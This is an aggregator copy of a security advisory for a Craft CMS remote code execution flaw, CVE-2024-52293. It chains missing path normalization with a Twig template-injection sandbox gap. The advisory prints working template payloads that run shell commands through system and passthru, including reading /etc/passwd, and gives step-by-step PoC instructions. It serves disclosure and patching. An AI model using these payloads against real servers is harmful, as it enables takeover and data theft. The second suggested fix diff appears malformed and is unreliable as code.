Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS1mM2N3LWhnNnItY2hmds4ABBS7

Craft CMS vulnerable to Potential Remote Code Execution via missing path normalization & Twig SSTI

Summary

Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.

(Post-authentication, ALLOW_ADMIN_CHANGES=true)

Details

Note: This is a sequel to CVE-2023-40035

In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:

/**
 * Returns an absolute path based on a source location or the current working directory.
 *
 * @param string $to The target path.
 * @param string|null $from The source location. Defaults to the current working directory.
 * @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`.
 * @return string
 * @since 4.3.5
 */
public static function absolutePath(
    string $to,
    ?string $from = null,
    string $ds = DIRECTORY_SEPARATOR,
): string {
    $to = static::normalizePath($to, $ds);

    // Already absolute?
    if (
        str_starts_with($to, $ds) ||
        preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to)
    ) {
        return $to;
    }

    if ($from === null) {
        $from = FileHelper::normalizePath(getcwd(), $ds);
    } else {
        $from = static::absolutePath($from, ds: $ds);
    }

    return $from . $ds . $to;
}

This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.

Let's see what happens after calling isSystemDir("../templates/poc"):

/**
 * Returns whether the given file path is located within or above any system directories.
 *
 * @param string $path
 * @return bool
 * @since 5.4.2
 */
public function isSystemDir(string $path): bool // $path = "../templates/poc"
{
    $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"

    foreach (Craft::$app->getPath()->getSystemPaths() as $dir) {
        $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates"
        if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false)
            return true;
        }
    }

    return false; // We're here!
}

Now that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136:

/**
 * @param string $attribute
 * @param array|null $params
 * @param InlineValidator $validator
 * @return void
 * @since 4.4.6
 */
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
    if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) {
        $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.'));
    }
}

We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc

Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml

Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.

{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}

These payloads still work, see twigphp/Twig/src/Extension/CoreExtension.php#getFilters() and twigphp/Twig/src/Extension/CoreExtension.php#getOperators() for more informations.

PoC

  1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start
mkdir craftcms && cd craftcms
ddev config --project-type=craftcms --docroot=web --create-docroot
ddev composer create -y --no-scripts "craftcms/craft"
ddev craft install
php craft setup/security-key
ddev start
  1. Create a new filesystem with base path ../templates/poc

Notice that the poc directory was created

  1. Create a new asset volume using the poc filesystem

Upload a poc.ttml file with RCE template code

{{'<pre>'}}
{{ 8*8 }}
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}

Note: find was added to twig last month. If you're running this poc on an older version of twig try removing the last 2 lines.

ttml

  1. Create a new route * with template poc/poc.ttml
  1. This leads to Remote Code Execution on arbitrary route /*

Remediation

diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php
index 0c2da884a7..ac23ce556a 100644
--- a/src/helpers/FileHelper.php
+++ b/src/helpers/FileHelper.php
@@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper
             $from = static::absolutePath($from, ds: $ds);
         }

-        return $from . $ds . $to;
+        return FileHelper::normalizePath($from . $ds . $to);
     }

     /**

fix_norm

See twigphp/Twig/src/Extension/CoreExtension.php for updated filters and operators, a possible fix could look like:

diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php
index efff2d2412..756f452f8b 100644
--- a/src/web/twig/Extension.php
+++ b/src/web/twig/Extension.php
@@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface
             new TwigFilter('lcfirst', [$this, 'lcfirstFilter']),
             new TwigFilter('literal', [$this, 'literalFilter']),
             new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]),
+            new TwigFilter('find', [$this, 'find'], ['needs_environment' => true]),
+            new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
+            new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
             new TwigFilter('markdown', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
             new TwigFilter('md', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
             new TwigFilter('merge', [$this, 'mergeFilter']),

fix_ssti

Impact

Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.

Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)

Permalink: https://github.com/advisories/GHSA-f3cw-hg6r-chfv
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mM2N3LWhnNnItY2hmds4ABBS7
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 8 days ago
Updated: 7 days ago


CVSS Score: 7.2
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-f3cw-hg6r-chfv, CVE-2024-52293
References: Repository: https://github.com/craftcms/cms
Blast Radius: 24.8

Affected Packages

packagist:craftcms/cms
Dependent packages: 2,145
Dependent repositories: 2,755
Downloads: 3,058,020 total
Affected Version Ranges: >= 5.0.0-RC1, <= 5.4.2, >= 4.0.0-RC1, <= 4.12.1
Fixed in: 5.4.3, 4.12.2
All affected versions: 4.0.0, 4.0.0-RC1, 4.0.0-RC2, 4.0.0-RC3, 4.0.0-alpha.1, 4.0.0-beta.1, 4.0.0-beta.2, 4.0.0-beta.3, 4.0.0-beta.4, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.6, 4.1.0, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.2.4, 4.2.5, 4.2.6, 4.2.7, 4.2.8, 4.3.0, 4.3.1, 4.3.2, 4.3.3, 4.3.4, 4.3.5, 4.3.6, 4.3.7, 4.3.8, 4.3.9, 4.3.10, 4.3.11, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4, 4.4.5, 4.4.6, 4.4.7, 4.4.8, 4.4.9, 4.4.10, 4.4.11, 4.4.12, 4.4.13, 4.4.14, 4.4.15, 4.4.16, 4.4.17, 4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 4.5.6, 4.5.7, 4.5.8, 4.5.9, 4.5.10, 4.5.11, 4.5.12, 4.5.13, 4.5.14, 4.5.15, 4.6.0, 4.6.1, 4.7.0, 4.7.1, 4.7.2, 4.7.3, 4.7.4, 4.8.0, 4.8.1, 4.8.2, 4.8.3, 4.8.4, 4.8.5, 4.8.6, 4.8.7, 4.8.8, 4.8.9, 4.8.10, 4.8.11, 4.9.0, 4.9.1, 4.9.2, 4.9.3, 4.9.4, 4.9.5, 4.9.6, 4.9.7, 4.10.0, 4.10.1, 4.10.2, 4.10.3, 4.10.4, 4.10.5, 4.10.6, 4.10.7, 4.10.8, 4.11.0, 4.11.1, 4.11.2, 4.11.3, 4.11.4, 4.11.5, 4.12.0, 4.12.1, 5.0.0, 5.0.0-RC1, 5.0.0-alpha.1, 5.0.0-alpha.2, 5.0.0-alpha.3, 5.0.0-alpha.4, 5.0.0-alpha.5, 5.0.0-alpha.6, 5.0.0-alpha.7, 5.0.0-alpha.8, 5.0.0-alpha.9, 5.0.0-alpha.10, 5.0.0-alpha.11, 5.0.0-alpha.12, 5.0.0-alpha.13, 5.0.0-beta.1, 5.0.0-beta.2, 5.0.0-beta.3, 5.0.0-beta.4, 5.0.0-beta.5, 5.0.0-beta.6, 5.0.0-beta.7, 5.0.0-beta.8, 5.0.0-beta.9, 5.0.0-beta.10, 5.0.0-beta.11, 5.0.1, 5.0.2, 5.0.3, 5.0.4, 5.0.5, 5.0.6, 5.1.0, 5.1.1, 5.1.2, 5.1.3, 5.1.4, 5.1.5, 5.1.6, 5.1.7, 5.1.8, 5.1.9, 5.1.10, 5.2.0, 5.2.1, 5.2.2, 5.2.3, 5.2.4, 5.2.5, 5.2.6, 5.2.7, 5.2.8, 5.2.9, 5.2.10, 5.3.0, 5.3.1, 5.3.2, 5.3.3, 5.3.4, 5.3.5, 5.3.6, 5.4.0, 5.4.1, 5.4.2
All unaffected versions: 1.2.2333, 1.2.2335, 1.2.2336, 1.2.2337, 1.2.2339, 1.2.2358, 1.2.2363, 1.2.2367, 1.2.2371, 1.2.2375, 1.2.2387, 1.2.2392, 1.2.2396, 1.2.2399, 1.3.2409, 1.3.2410, 1.3.2415, 1.3.2416, 1.3.2418, 1.3.2419, 1.3.2420, 1.3.2422, 1.3.2456, 1.3.2459, 1.3.2461, 1.3.2462, 1.3.2465, 1.3.2473, 1.3.2485, 1.3.2486, 1.3.2487, 1.3.2494, 1.3.2496, 1.3.2507, 2.0.2524, 2.0.2525, 2.0.2527, 2.0.2528, 2.0.2532, 2.0.2533, 2.0.2535, 2.0.2536, 2.0.2537, 2.0.2538, 2.0.2539, 2.0.2540, 2.0.2541, 2.0.2542, 2.0.2543, 2.0.2548, 2.0.2549, 2.0.2551, 2.1.2554, 2.1.2555, 2.1.2556, 2.1.2557, 2.1.2559, 2.1.2561, 2.1.2562, 2.1.2563, 2.1.2564, 2.1.2566, 2.1.2568, 2.1.2569, 2.1.2570, 2.2.2579, 2.2.2581, 2.2.2582, 2.2.2586, 2.2.2587, 2.2.2588, 2.2.2589, 2.2.2590, 2.2.2591, 2.2.2592, 2.2.2593, 2.2.2596, 2.2.2598, 2.2.2601, 2.2.2604, 2.2.2607, 2.3.2615, 2.3.2616, 2.3.2617, 2.3.2618, 2.3.2620, 2.3.2621, 2.3.2623, 2.3.2624, 2.3.2625, 2.3.2626, 2.3.2627, 2.3.2629, 2.3.2632, 2.3.2635, 2.3.2636, 2.3.2639, 2.3.2640, 2.3.2641, 2.3.2642, 2.3.2643, 2.3.2644, 2.4.2664, 2.4.2666, 2.4.2667, 2.4.2668, 2.4.2669, 2.4.2670, 2.4.2675, 2.4.2677, 2.4.2679, 2.4.2682, 2.4.2684, 2.4.2688, 2.4.2691, 2.4.2692, 2.4.2693, 2.4.2695, 2.4.2696, 2.4.2697, 2.4.2698, 2.4.2699, 2.4.2700, 2.4.2701, 2.4.2702, 2.4.2723, 2.4.2725, 2.4.2726, 2.5.2750, 2.5.2752, 2.5.2753, 2.5.2754, 2.5.2755, 2.5.2757, 2.5.2759, 2.5.2760, 2.5.2761, 2.5.2762, 2.5.2763, 2.5.2765, 2.5.2767, 2.6.2771, 2.6.2773, 2.6.2774, 2.6.2776, 2.6.2778, 2.6.2779, 2.6.2780, 2.6.2781, 2.6.2783, 2.6.2784, 2.6.2785, 2.6.2788, 2.6.2789, 2.6.2791, 2.6.2793, 2.6.2794, 2.6.2795, 2.6.2796, 2.6.2797, 2.6.2798, 2.6.2804, 2.6.2903, 2.6.2911, 2.6.2916, 2.6.2922, 2.6.2923, 2.6.2929, 2.6.2930, 2.6.2931, 2.6.2940, 2.6.2944, 2.6.2945, 2.6.2949, 2.6.2950, 2.6.2951, 2.6.2952, 2.6.2953, 2.6.2954, 2.6.2955, 2.6.2956, 2.6.2957, 2.6.2958, 2.6.2959, 2.6.2960, 2.6.2961, 2.6.2962, 2.6.2963, 2.6.2964, 2.6.2965, 2.6.2966, 2.6.2967, 2.6.2968, 2.6.2969, 2.6.2970, 2.6.2971, 2.6.2972, 2.6.2973, 2.6.2974, 2.6.2975, 2.6.2976, 2.6.2977, 2.6.2978, 2.6.2979, 2.6.2980, 2.6.2981, 2.6.2982, 2.6.2983, 2.6.2984, 2.6.2985, 2.6.2986, 2.6.2987, 2.6.2988, 2.6.2989, 2.6.2990, 2.6.2991, 2.6.2992, 2.6.2993, 2.6.2994, 2.6.2995, 2.6.2996, 2.6.2997, 2.6.2998, 2.6.2999, 2.6.3000, 2.6.3001, 2.6.3002, 2.6.3003, 2.6.3004, 2.6.3005, 2.6.3006, 2.6.3007, 2.6.3008, 2.6.3009, 2.6.3010, 2.6.3011, 2.6.3012, 2.6.3013, 2.6.3014, 2.6.3015, 2.6.3016, 2.6.3017, 2.6.3018, 2.6.3019, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.7.5, 2.7.6, 2.7.7, 2.7.8, 2.7.9, 2.7.10, 2.8.0, 2.9.0, 2.9.1, 2.9.2, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.0.7, 3.0.8, 3.0.9, 3.0.10, 3.0.11, 3.0.12, 3.0.13, 3.0.14, 3.0.15, 3.0.16, 3.0.17, 3.0.18, 3.0.19, 3.0.20, 3.0.21, 3.0.22, 3.0.23, 3.0.24, 3.0.25, 3.0.26, 3.0.27, 3.0.28, 3.0.29, 3.0.30, 3.0.31, 3.0.32, 3.0.33, 3.0.34, 3.0.35, 3.0.36, 3.0.37, 3.0.38, 3.0.39, 3.0.40, 3.0.41, 3.1.0, 3.1.1, 3.1.2, 3.1.3, 3.1.4, 3.1.5, 3.1.6, 3.1.7, 3.1.8, 3.1.9, 3.1.10, 3.1.11, 3.1.12, 3.1.13, 3.1.14, 3.1.15, 3.1.16, 3.1.17, 3.1.18, 3.1.19, 3.1.20, 3.1.21, 3.1.22, 3.1.23, 3.1.24, 3.1.25, 3.1.26, 3.1.27, 3.1.28, 3.1.29, 3.1.30, 3.1.31, 3.1.32, 3.1.33, 3.1.34, 3.2.0, 3.2.1, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7, 3.2.8, 3.2.9, 3.2.10, 3.3.0, 3.3.1, 3.3.2, 3.3.3, 3.3.4, 3.3.5, 3.3.6, 3.3.7, 3.3.8, 3.3.9, 3.3.10, 3.3.11, 3.3.12, 3.3.13, 3.3.14, 3.3.15, 3.3.16, 3.3.17, 3.3.18, 3.3.19, 3.3.20, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4, 3.4.5, 3.4.6, 3.4.7, 3.4.8, 3.4.9, 3.4.10, 3.4.11, 3.4.12, 3.4.13, 3.4.14, 3.4.15, 3.4.16, 3.4.17, 3.4.18, 3.4.19, 3.4.20, 3.4.21, 3.4.22, 3.4.23, 3.4.24, 3.4.25, 3.4.26, 3.4.27, 3.4.28, 3.4.29, 3.4.30, 3.5.0, 3.5.1, 3.5.2, 3.5.3, 3.5.4, 3.5.5, 3.5.6, 3.5.7, 3.5.8, 3.5.9, 3.5.10, 3.5.11, 3.5.12, 3.5.13, 3.5.14, 3.5.15, 3.5.16, 3.5.17, 3.5.18, 3.5.19, 3.6.0, 3.6.1, 3.6.2, 3.6.3, 3.6.4, 3.6.5, 3.6.6, 3.6.7, 3.6.8, 3.6.9, 3.6.10, 3.6.11, 3.6.12, 3.6.13, 3.6.14, 3.6.15, 3.6.16, 3.6.17, 3.6.18, 3.7.0, 3.7.1, 3.7.2, 3.7.3, 3.7.4, 3.7.5, 3.7.6, 3.7.7, 3.7.8, 3.7.9, 3.7.10, 3.7.11, 3.7.12, 3.7.13, 3.7.14, 3.7.15, 3.7.16, 3.7.17, 3.7.18, 3.7.19, 3.7.20, 3.7.21, 3.7.22, 3.7.23, 3.7.24, 3.7.25, 3.7.26, 3.7.27, 3.7.28, 3.7.29, 3.7.30, 3.7.31, 3.7.32, 3.7.33, 3.7.34, 3.7.35, 3.7.36, 3.7.37, 3.7.38, 3.7.39, 3.7.40, 3.7.41, 3.7.42, 3.7.43, 3.7.44, 3.7.45, 3.7.46, 3.7.47, 3.7.48, 3.7.49, 3.7.50, 3.7.51, 3.7.52, 3.7.53, 3.7.54, 3.7.55, 3.7.56, 3.7.57, 3.7.58, 3.7.59, 3.7.60, 3.7.61, 3.7.62, 3.7.63, 3.7.64, 3.7.65, 3.7.66, 3.7.67, 3.7.68, 3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9, 3.8.10, 3.8.11, 3.8.12, 3.8.13, 3.8.14, 3.8.15, 3.8.16, 3.8.17, 3.9.0, 3.9.1, 3.9.2, 3.9.3, 3.9.4, 3.9.5, 3.9.6, 3.9.10, 3.9.11, 3.9.12, 3.9.13, 4.12.2, 4.12.3, 4.12.4, 4.12.5, 4.12.6, 4.12.7, 4.12.8, 5.4.3, 5.4.4, 5.4.5, 5.4.6, 5.4.7, 5.4.8, 5.4.9